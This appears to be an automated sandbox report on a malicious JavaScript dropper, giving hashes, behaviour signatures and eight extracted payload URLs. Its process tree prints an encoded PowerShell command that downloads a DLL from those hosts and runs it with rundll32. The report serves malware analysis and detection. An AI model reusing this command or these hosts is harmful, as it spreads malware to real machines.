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Analysis
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max time kernel
79s -
max time network
130s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
16/03/2023, 07:13
Static task
static1
Behavioral task
behavioral1
Sample
rCoA.js
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
rCoA.js
Resource
win10v2004-20230220-en
General
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Target
rCoA.js
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Size
84KB
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MD5
9f9c96d904107988f9228890f0ca30d5
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SHA1
16f7c265d11ea75cb62345555c51073526a6c762
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SHA256
aaae46d614933d1f6d932e3ec9b76902ab2d5788a41e7e97858aa637b86f5233
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SHA512
cec6f9e4eec258f2f988afeaa0a4ce7a9fdd7d1d3839fa23e318f17374e784fb3d9958807a9ae24781af90fa1ab414390c59061a18f88c6c9af22d6c24073734
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SSDEEP
1536:g43+92oVhnGoW/bLBiVuuCHGHHfYLS0dwPphjiG5yE:TOrnn2P8V6mf65ds3P
Malware Config
Extracted
https://dimoparkhogar.com/7VQuf/1
https://fondationjoelkrasso.org/rjzgP6/1
https://lamired.com/8FIz2P/1
https://kotogadang-pusako.com/MweGD/1
https://laposadadeugartearequipa.com/NARKhE/1
https://earnforpak.com/CzIUp/1
https://cocovedaglobal.com/XBtcjkQ/1
https://accesstelematics.com/Ulo3MpM/1
Signatures
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Blocklisted process makes network request 9 IoCs
flow pid Process 20 4428 powershell.exe 23 4428 powershell.exe 25 4428 powershell.exe 29 4428 powershell.exe 40 4428 powershell.exe 44 4428 powershell.exe 46 4428 powershell.exe 48 4428 powershell.exe 51 4428 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4428 powershell.exe 4428 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4428 powershell.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3520 wrote to memory of 4428 3520 wscript.exe 86 PID 3520 wrote to memory of 4428 3520 wscript.exe 86
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\rCoA.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3520 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7ACQAYQBuAGEAYwByAG8AdABpAHMAbQBVAG4AZABlAHIAcwB1AHAAcABsAHkAaQBuAGcAIAA9ACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBkAGkAbQBvAHAAYQByAGsAaABvAGcAYQByAC4AYwBvAG0ALwA3AFYAUQB1AGYALwAxACwAaAB0AHQAcABzADoALwAvAGYAbwBuAGQAYQB0AGkAbwBuAGoAbwBlAGwAawByAGEAcwBzAG8ALgBvAHIAZwAvAHIAagB6AGcAUAA2AC8AMQAsAGgAdAB0AHAAcwA6AC8ALwBsAGEAbQBpAHIAZQBkAC4AYwBvAG0ALwA4AEYASQB6ADIAUAAvADEALABoAHQAdABwAHMAOgAvAC8AawBvAHQAbwBnAGEAZABhAG4AZwAtAHAAdQBzAGEAawBvAC4AYwBvAG0ALwBNAHcAZQBHAEQALwAxACwAaAB0AHQAcABzADoALwAvAGwAYQBwAG8AcwBhAGQAYQBkAGUAdQBnAGEAcgB0AGUAYQByAGUAcQB1AGkAcABhAC4AYwBvAG0ALwBOAEEAUgBLAGgARQAvADEALABoAHQAdABwAHMAOgAvAC8AZQBhAHIAbgBmAG8AcgBwAGEAawAuAGMAbwBtAC8AQwB6AEkAVQBwAC8AMQAsAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAHYAZQBkAGEAZwBsAG8AYgBhAGwALgBjAG8AbQAvAFgAQgB0AGMAagBrAFEALwAxACwAaAB0AHQAcABzADoALwAvAGEAYwBjAGUAcwBzAHQAZQBsAGUAbQBhAHQAaQBjAHMALgBjAG8AbQAvAFUAbABvADMATQBwAE0ALwAxACIAKQAuAHMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAGQAZQB2AG8AbABhAHQAaQBsAGkAcwBpAG4AZwBQAHUAZgBmAGIAYQBsAGwAIABpAG4AIAAkAGEAbgBhAGMAcgBvAHQAaQBzAG0AVQBuAGQAZQByAHMAdQBwAHAAbAB5AGkAbgBnACkAIAB7AHQAcgB5ACAAewBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAGQAZQB2AG8AbABhAHQAaQBsAGkAcwBpAG4AZwBQAHUAZgBmAGIAYQBsAGwAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAAxADUAIAAtAE8AIAAkAGUAbgB2ADoAVABFAE0AUABcAFMAZQBwAGkAbwBsAGEALgBkAGwAbAA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAFMAZQBwAGkAbwBsAGEALgBkAGwAbAApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAAwADAAMAAwACkAIAB7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABTAGUAcABpAG8AbABhAC4AZABsAGwALABYAFMAOAA4ADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7AH0AfQA="2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4428
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82